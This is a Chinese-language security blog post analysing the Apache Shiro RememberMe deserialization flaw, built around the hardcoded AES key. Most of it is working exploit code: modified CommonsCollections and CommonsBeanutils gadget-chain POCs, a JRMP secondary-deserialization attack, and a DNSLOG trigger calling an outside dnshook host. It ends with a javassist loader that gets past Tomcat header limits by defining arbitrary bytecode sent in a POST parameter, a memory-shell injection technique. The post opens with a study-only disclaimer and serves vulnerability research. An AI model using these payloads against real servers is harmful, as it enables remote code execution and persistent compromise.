本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏。

基础知识

组件

Shiro有三大核心组件,即Subject、SecurityManager 和 Realm

  • Subject: 认证主体。Subject代表了当前的用户。包含Principals和Credentials两个信息。
  • SecurityManager:安全管理员。是Shiro架构的核心。与Subject的所有交互都会委托给SecurityManager,它负责与Shiro 的其他组件进行交互。
  • Realm:域。Shiro从Realm中获取安全数据(如用户、角色、权限),就是说SecurityManager要验证用户身份,那么它需要从Realm中获取相应的用户进行比较,来确定用户的身份是否合法

一些概念:

  • Authentication: 身份认证、登录,验证用户是不是拥有相应的身份;
  • Authorization:鉴权,验证某个已认证的用户是否拥有某个权限
  • Session Manager: 会话管理
  • Cryptography: 加密,保护数据的安全性
  • Concurrency: Shiro支持多线程应用的并发验证,即,如在一个线程中开启另一个线程,能把权限自动的传播过去
  • Remember Me:会话保存

配置

web.xml,shiro通过filter进行注入。

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://java.sun.com/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd"
         version="2.5">

    <listener>
        <listener-class>org.apache.shiro.web.env.EnvironmentLoaderListener</listener-class>
    </listener>

    <filter>
        <filter-name>ShiroFilter</filter-name>
        <filter-class>org.apache.shiro.web.servlet.ShiroFilter</filter-class>
    </filter>

    <filter-mapping>
        <filter-name>ShiroFilter</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>

    <welcome-file-list>
        <welcome-file>index.jsp</welcome-file>
    </welcome-file-list>

</web-app>

shiro.ini用于配置具体权限

[main]
shiro.loginUrl = /login.jsp

[users]
# format: username = password, role1, role2, ..., roleN
root = secret,admin
guest = guest,guest
presidentskroob = 12345,president
darkhelmet = ludicrousspeed,darklord,schwartz
lonestarr = vespa,goodguy,schwartz

[roles]
# format: roleName = permission1, permission2, ..., permissionN
admin = *
schwartz = lightsaber:*
goodguy = winnebago:drive:eagle5

[urls]
/login.jsp = authc
/logout = logout
/account/** = authc
/remoting/** = authc, roles[b2bClient], perms["remote:invoke:lan,wan"]

漏洞分析

影响版本为 shiro 1.x < 1.2.5

接口 org.apache.shiro.mgt.RememberMeManager定义了getRememberedPrincipals方法用于在指定上下文中找到记住的 principals,也就是 RememberMe 的功能。

public interface RememberMeManager {
    PrincipalCollection getRememberedPrincipals(SubjectContext var1);

    void forgetIdentity(SubjectContext var1);

    void onSuccessfulLogin(Subject var1, AuthenticationToken var2, AuthenticationInfo var3);

    void onFailedLogin(Subject var1, AuthenticationToken var2, AuthenticationException var3);

    void onLogout(Subject var1);
}

AbstractRememberMeManagerRememberMeManager的一个抽象实现类

其实现的getRememberedPrincipals方法代码如下:

public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
    PrincipalCollection principals = null;

    try {
        byte[] bytes = this.getRememberedSerializedIdentity(subjectContext);
        if (bytes != null && bytes.length > 0) {
            principals = this.convertBytesToPrincipals(bytes, subjectContext);
        }
    } catch (RuntimeException var4) {
        principals = this.onRememberedPrincipalFailure(var4, subjectContext);
    }

    return principals;
}

会调用getRememberedSerializedIdentity获取序列化的principalsCookieRememberMeManager类实现了这个方法,代码如下:

protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {

        .............

            HttpServletRequest request = WebUtils.getHttpRequest(wsc);
            HttpServletResponse response = WebUtils.getHttpResponse(wsc);
            String base64 = this.getCookie().readValue(request, response);
            if ("deleteMe".equals(base64)) {
                return null;
            } else if (base64 != null) {
                base64 = this.ensurePadding(base64);
                if (log.isTraceEnabled()) {
                    log.trace("Acquired Base64 encoded identity [" + base64 + "]");
                }

                byte[] decoded = Base64.decode(base64);
                if (log.isTraceEnabled()) {
                    log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
                }

                return decoded;
            } else {
                return null;
            }
        }
    }
}

获取Cookie中rememberMe字段的值并base64解码,传给AbstractRememberMeManager#convertBytesToPrincipals方法。代码如下:

protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
    if (this.getCipherService() != null) {
        bytes = this.decrypt(bytes);
    }

    return this.deserialize(bytes);
}

先进行解密再反序列化。

加解密相关代码定义在AbstractRememberMeManager类中,使用AES-128-CBC算法。 1

KEY硬编码在AbstractRememberMeManager中。

private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

触发DNSLOG:

public class Exp {
    public static void main(String[] args) throws Exception{
        URLDNS urldns = new URLDNS();
        Object expobj = urldns.getObject("http://log.c37af96d-ec4e-43e4-8bd3-3c347d9eb7b8.dnshook.site");
        System.out.println(ser(expobj));
    }

    public static byte[] encrypt(byte[] data, byte[] key) {
        CipherService cipherService = new AesCipherService();
        ByteSource byteSource = cipherService.encrypt(data, key);
        byte[] value = byteSource.getBytes();
        return value;
    }

    public static String ser(Object obj) throws Exception {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(obj);
        objectOutputStream.close();

        byte[] encrypted = encrypt(byteArrayOutputStream.toByteArray(), Base64.decode(KEY));
        return Base64.encodeToString(encrypted);
    }

Key检测

当序列化payload使用错误的Key的时候,AbstractRememberMeManager#decrypt解密会报错,然后调用forgetIdentity方法,然后会调用removeFrom方法,会给返回包加上rememberMe=deleteMecookie。

所以在爆破Key的时候当返回包没有rememberMe=deleteMe时就证明Key正确。

反序列化利用链

CC链改造

但shiro反序列化时 ClassResolvingObjectInputStream 为 shiro 框架实现的自定义类

在使用一些 Gadget 如 CC6 时会报错:Unable to load clazz named [[Lorg.apache.commons.collections.Transformer;]

如果反序列化流中包含非 Java 自身的数组(非String[], byte[]等),则会出现无法加载类的错误。

InvokerTransformer直接调用TemplatesImplnewTransformer方法。代码如下:

public class Exp {
    public static void main(String[] args) throws Exception{
        Templates templates = new TemplatesImpl();

        setFieldValue(templates,"_bytecodes",new byte[][]{getEvilClass()});
        setFieldValue(templates,"_class",null);
        setFieldValue(templates,"_name","asd");

        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
        HashMap<Object, Object> map = new HashMap<Object, Object>();
        Map<Object, Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
        HashMap<Object, Object> map2 = new HashMap<Object, Object>();
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, templates);
        map2.put(tiedMapEntry, "bbb");
        map.remove(templates);
        setFieldValue(lazymap, "factory", invokerTransformer);

        System.out.println(ser(map2));
    }
}

commons-collections:4.0依赖的CC2可以直接用,但CC4不能用

CB链改造

BeanComparator默认使用org.apache.commons.collections.comparators.ComparableComparator。在没有CC依赖时会报错。

CB链是要调用BeanComparator#compare方法:

public int compare(Object o1, Object o2) {
    if (this.property == null) {
        return this.comparator.compare(o1, o2);
    } else {
        try {
            Object value1 = PropertyUtils.getProperty(o1, this.property);
            Object value2 = PropertyUtils.getProperty(o2, this.property);
            return this.comparator.compare(value1, value2);
        } catch (IllegalAccessException var5) {
            throw new RuntimeException("IllegalAccessException: " + var5.toString());
        } catch (InvocationTargetException var6) {
            throw new RuntimeException("InvocationTargetException: " + var6.toString());
        } catch (NoSuchMethodException var7) {
            throw new RuntimeException("NoSuchMethodException: " + var7.toString());
        }
    }
}

然后调用PropertyUtils.getProperty触发getter。

触发点在this.comparator.compare(value1, value2);前面,所以将ComparableComparator替换,甚至设为null也不会有影响。

POC:

public class Exp {
    public static void main(String[] argss) throws Exception{
        Templates templates = new TemplatesImpl();

        setFieldValue(templates,"_bytecodes",new byte[][]{getEvilClass()});
        setFieldValue(templates,"_class",null);
        setFieldValue(templates,"_name","asd");

        final BeanComparator comparator = new BeanComparator("lowestSetBit");
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        queue.add(new BigInteger("1"));
        queue.add(new BigInteger("1"));

        setFieldValue(comparator, "comparator", null);
        setFieldValue(comparator, "property", "outputProperties");

        final Object[] queueArray = (Object[]) getFieldValue(queue, "queue");
        queueArray[0] = templates;
        queueArray[1] = templates;

        System.out.println(ser(queue));
    }
}

RMI反序列化

二次反序列化思路,既然这里的反序列化禁止了非Java 自身的数组得反序列化,那通过RMI反序列化再次触发原生反序列化即可。

ysoserial.payloads.JRMPClient触发RMI连接,本地用ysoserial.exploits.JRMPListener监听连接然后发送CC1序列化数据。

POC:

public class Exp {
    public static void main(String[] args) throws Exception{
        String host = "127.0.0.1";
        int port = 1234;
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
                Registry.class
        }, obj);
        System.out.println(ser(proxy));

        CommonsCollections1 commonsCollections1 = new CommonsCollections1();

        Object expobj = commonsCollections1.getObject("calc");

        JRMPListener jrmpListener = new JRMPListener(1234, expobj);
        jrmpListener.run();
    }
}

绕过Header长度限制

POST传参

Tomcat默认限制Header不能超过8192字节。

org.apache.coyote.http11.AbstractHttp11Protocol定义了: 2

org.apache.coyote.http11.Http11InputBuffer#fill方法会检测是否超过限制。

private boolean fill(boolean block) throws IOException {
    if (log.isTraceEnabled()) {
        log.trace("Before fill(): parsingHeader: [" + this.parsingHeader + "], parsingRequestLine: [" + this.parsingRequestLine + "], parsingRequestLinePhase: [" + this.parsingRequestLinePhase + "], parsingRequestLineStart: [" + this.parsingRequestLineStart + "], byteBuffer.position(): [" + this.byteBuffer.position() + "], byteBuffer.limit(): [" + this.byteBuffer.limit() + "], end: [" + this.end + "]");
    }

    if (this.parsingHeader) {
        if (this.byteBuffer.limit() >= this.headerBufferSize) {
            if (this.parsingRequestLine) {
                this.request.protocol().setString("HTTP/1.1");
            }

            throw new IllegalArgumentException(sm.getString("iib.requestheadertoolarge.error"));
        }
    } else {
        this.byteBuffer.limit(this.end).position(this.end);
    }

尝试反序列化部分和要加载的字节码分离,反序列化TemplatesImpl执行代码,从POST参数中获取base64编码的java字节码,然后调用defineClass加载。用javassist直接生成的java字节码比javac编译出来的体积小很多。POST传参的数据长度不限。

public class Exp {
    public static void main(String[] argss) throws Exception{
        Templates templates = new TemplatesImpl();

        setFieldValue(templates,"_bytecodes",new byte[][]{generate()});
        setFieldValue(templates,"_class",null);
        setFieldValue(templates,"_name","asd");

        AttrCompare attrCompare = new AttrCompare();

        final BeanComparator comparator = new BeanComparator("lowestSetBit");
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        queue.add(new BigInteger("1"));
        queue.add(new BigInteger("1"));

        setFieldValue(comparator, "comparator", null);
        setFieldValue(comparator, "property", "outputProperties");

        final Object[] queueArray = (Object[]) getFieldValue(queue, "queue");
        queueArray[0] = templates;
        queueArray[1] = templates;

        System.out.println("序列化数据:");
        System.out.println(ser(queue));

        System.out.println("\n\n字节码:");
        System.out.println(Base64.encodeToString(getPayloadClass()));
    }

    public static byte[] generate() throws Exception{
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.makeClass("Injector2");
            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
            ctClass.setSuperclass(superClass);
            CtConstructor constructor = ctClass.makeClassInitializer();
            constructor.setBody("......");
            byte[] bytes = ctClass.toBytecode();
            ctClass.defrost();
            return bytes;
        } catch (Exception e) {
            e.printStackTrace();
            return new byte[]{};
        }
    }
}

通过javassist生成类的构造函数代码,修改自Tomcat Echo

{
    ThreadGroup group = Thread.currentThread().getThreadGroup();
    java.lang.reflect.Field f = null;
    Thread[] threads = null;
    try{
        f = group.getClass().getDeclaredField("threads");
        f.setAccessible(true);
        threads = (Thread[]) f.get(group);
    } catch(Exception e){}

    for(int i = 0; i < threads.length; i++) {
        try{
            Thread t = threads[i];
            if (t == null) continue;

            String str = t.getName();
            if (str.contains("exec") || !str.contains("http")) continue;

            f = t.getClass().getDeclaredField("target");
            f.setAccessible(true);
            Object obj = f.get(t);

            if (!(obj instanceof Runnable)) continue;

            f = obj.getClass().getDeclaredField("this$0");
            f.setAccessible(true);obj = f.get(obj);

            try{
                f = obj.getClass().getDeclaredField("handler");
            }catch (NoSuchFieldException e){
                f = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("handler");
            }
            f.setAccessible(true);
            obj = f.get(obj);

            try{
                f = obj.getClass().getSuperclass().getDeclaredField("global");
            }catch(NoSuchFieldException e){
                f = obj.getClass().getDeclaredField("global");
            }
            f.setAccessible(true);
            obj = f.get(obj);

            f = obj.getClass().getDeclaredField("processors");
            f.setAccessible(true);
            java.util.List processors = (java.util.List)(f.get(obj));

            for(int j = 0; j < processors.size(); ++j) {
                Object processor = processors.get(j);
                f = processor.getClass().getDeclaredField("req");
                f.setAccessible(true);
                Object req = f.get(processor);
                Object note = req.getClass().getDeclaredMethod("getNote", new Class[]{int.class}).invoke(req, new Object[]{Integer.valueOf(1)});
                String base64encoded = (String) note.getClass().getDeclaredMethod("getParameter", new Class[]{String.class}).invoke(note, new Object[]{"data"});

                if (base64encoded == null) {
                    continue;
                }

                byte[] code = org.apache.shiro.codec.Base64.decode(base64encoded);

                ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
                if (classLoader == null) {
                    classLoader = ClassLoader.getSystemClassLoader();
                }

                try {
                    java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class});
                    defineClassMethod.setAccessible(true);
                    Class expClass = null;
                    try{
                        expClass = Class.forName("Payload");  // 方便多次加载
                    } catch (Exception e){
                        expClass = (Class) defineClassMethod.invoke(classLoader, new Object[]{code, Integer.valueOf(0), Integer.valueOf(code.length)});
                    }
                    expClass.newInstance();
                } catch (Exception e){
                    e.printStackTrace();
                }
            }
        } catch (Exception e){
        }
    }
}

最终header中的payload长度为4736,可以绕过长度限制。

POST data参数传Payload类的base64编码后的字节码。

javassist生成代码有一些神奇的报错,比如数字需要用Integer.valueOf包一下,还有就是POST传参的base64 payload需要url编码。

将内存马注入器写到无参构造函数里,编译然后Base64编码,POST传参即可

分段传输

可以将payload分成多段,先分段把payload保存在服务器上,然后再加载。

输出到文件

将字节码分段写入/tmp目录下,写完之后再最后读取加载,这种会有文件落地,不多说了。

写入系统配置

代码System.setProperty("payload","");可以写入java系统配置。

分段写入后,读取加载即可:

System.getProperty("payload");

参考

https://su18.org/post/shiro-5/

https://juejin.cn/post/6991664333314850853

https://y4tacker.github.io/2022/04/14/year/2022/4/%E6%B5%85%E8%B0%88Shiro550%E5%8F%97Tomcat-Header%E9%95%BF%E5%BA%A6%E9%99%90%E5%88%B6%E5%BD%B1%E5%93%8D%E7%AA%81%E7%A0%B4/

https://github.com/feihong-cs/Java-Rce-Echo/blob/master/Tomcat/code/TomcatEcho-%E5%85%A8%E7%89%88%E6%9C%AC.jsp

http://www.bmth666.cn/2024/11/03/Shiro%E7%BB%95%E8%BF%87Header%E9%95%BF%E5%BA%A6%E9%99%90%E5%88%B6%E8%BF%9B%E9%98%B6%E5%88%A9%E7%94%A8/